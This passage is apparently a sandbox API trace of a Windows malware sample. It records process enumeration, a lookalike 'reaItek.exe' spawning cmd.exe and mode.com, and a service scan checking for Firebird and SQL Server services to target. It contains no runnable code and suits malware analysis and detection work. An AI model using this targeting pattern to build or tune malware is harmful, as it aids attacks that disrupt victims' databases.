lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0108.148] lstrlenW (lpString="courage.exe") returned 11 [0108.148] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0108.149] lstrlenW (lpString="pearl.exe") returned 9 [0108.149] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0108.150] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0108.150] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0108.151] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0108.151] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0108.152] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0108.152] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0108.153] lstrlenW (lpString="dome.exe") returned 8 [0108.205] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0108.206] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0108.206] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0108.207] lstrlenW (lpString="paying.exe") returned 10 [0108.207] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0108.208] lstrlenW (lpString="emission.exe") returned 12 [0108.208] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0108.208] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0108.209] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0108.209] lstrlenW (lpString="charter.exe") returned 11 [0108.210] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0108.211] lstrlenW (lpString="nickel.exe") returned 10 [0108.211] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0108.212] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0108.212] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0108.213] lstrlenW (lpString="wrist.exe") returned 9 [0108.213] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0108.214] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0108.214] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0108.215] lstrlenW (lpString="neck.exe") returned 8 [0108.215] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0108.216] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0108.216] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0108.217] lstrlenW (lpString="dllhost.exe") returned 11 [0108.217] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.218] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.218] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.235] lstrlenW (lpString="svchost.exe") returned 11 [0108.235] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0108.236] lstrlenW (lpString="reaItek.exe") returned 11 [0108.236] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.237] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0108.237] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0108.238] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0108.238] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.239] lstrlenW (lpString="conhost.exe") returned 11 [0108.239] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0108.240] lstrlenW (lpString="cmd.exe") returned 7 [0108.240] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.241] lstrlenW (lpString="conhost.exe") returned 11 [0108.241] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0108.242] lstrlenW (lpString="sppsvc.exe") returned 10 [0108.242] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0108.243] lstrlenW (lpString="mode.com") returned 8 [0108.243] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0108.244] CloseHandle (hObject=0x370) returned 1 [0108.244] Sleep (dwMilliseconds=0x1f4) [0108.850] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5feed0 [0108.850] EnumServicesStatusExW (in: hSCManager=0x5feed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0108.851] GetLastError () returned 0xea [0108.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x61c998 [0108.851] EnumServicesStatusExW (in: hSCManager=0x5feed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61c998, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61c998, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0108.852] CloseServiceHandle (hSCObject=0x5feed0) returned 1 [0108.852] lstrlenW (lpString="Appinfo") returned 7 [0108.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0108.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0108.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0108.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0108.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0108.853] lstrlenW (lpString="AppXSvc") returned 7 [0108.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0108.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0108.853] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0108.853] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0108.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0108.853] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0108.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0108.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0108.853] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0108.853] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0108.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0108.853] lstrlenW (lpString="Audiosrv") returned 8 [0108.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0108.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0108.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0108.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0108.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0108.853] lstrlenW (lpString="BFE") returned 3 [0108.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0108.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0108.853] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0108.854] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0108.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0108.854] lstrlenW (lpString="BITS") returned 4 [0108.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0108.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0108.854] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0108.854] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0108.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0108.854] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0108.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0108.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0108.854] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0108.854] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0108.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0108.854] lstrlenW (lpString="CDPSvc") returned 6 [0108.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0108.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0108.854] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0108.854] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0108.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0108.854] lstrlenW (lpString="ClickToRunSvc") returned 13 [0108.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0108.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0108.854] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0108.854] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0108.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0108.855] lstrlenW (lpString="ClipSVC") returned 7 [0108.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0108.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0108.855] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0108.855] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0108.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0108.855] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0108.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0108.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0108.855] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0108.855] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0108.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0108.855] lstrlenW (lpString="CryptSvc") returned 8 [0108.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0108.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0108.855] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0108.855] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0108.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0108.855] lstrlenW (lpString="DcomLaunch") returned 10 [0108.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0108.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0108.855] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0108.855] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0108.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0108.855] lstrlenW (lpString="DeviceAssociationService") returned 24 [0108.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0108.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0108.856] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0108.856] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0108.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0108.856] lstrlenW (lpString="Dhcp") returned 4 [0108.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0108.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0108.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0108.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0108.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0108.856] lstrlenW (lpString="Dnscache") returned 8 [0108.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0108.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0108.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0108.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0108.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0108.856] lstrlenW (lpString="DoSvc") returned 5 [0108.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0108.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0108.856] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0108.856] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0108.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0108.856] lstrlenW (lpString="DPS") returned 3 [0108.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0108.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0108.857] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0108.857] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0108.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0108.857] lstrlenW (lpString="DusmSvc") returned 7 [0108.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0108.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0108.857] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0108.857] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0108.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0108.857] lstrlenW (lpString="EventLog") returned 8 [0108.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0108.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0108.857] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0108.857] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0108.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0108.857] lstrlenW (lpString="EventSystem") returned 11 [0108.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0108.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0108.857] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0108.857] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0108.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0108.857] lstrlenW (lpString="FontCache") returned 9 [0108.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0108.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0108.857] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0108.858] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0108.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0108.858] lstrlenW (lpString="gpsvc") returned 5 [0108.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0108.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0108.858] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0108.858] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0108.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0108.858] lstrlenW (lpString="iphlpsvc") returned 8 [0108.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0108.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0108.858] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0108.858] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0108.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0108.858] lstrlenW (lpString="KeyIso") returned 6 [0108.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0108.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0108.858] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0108.858] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0108.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0108.858] lstrlenW (lpString="LanmanServer") returned 12 [0108.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0108.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0108.858] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0108.858] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0108.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0108.859] lstrlenW (lpString="LanmanWorkstation") returned 17 [0108.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0108.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0108.859] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0108.859] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0108.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0108.859] lstrlenW (lpString="lfsvc") returned 5 [0108.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0108.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0108.859] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0108.859] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0108.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0108.859] lstrlenW (lpString="LicenseManager") returned 14 [0108.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0108.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0108.859] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0108.866] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0108.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0108.866] lstrlenW (lpString="lmhosts") returned 7 [0108.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0108.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0108.867] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0108.867] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0108.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0108.867] lstrlenW (lpString="LSM") returned 3 [0108.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0108.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0108.867] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0108.867] lstrcmpiW (lpString1="mssqlserver", 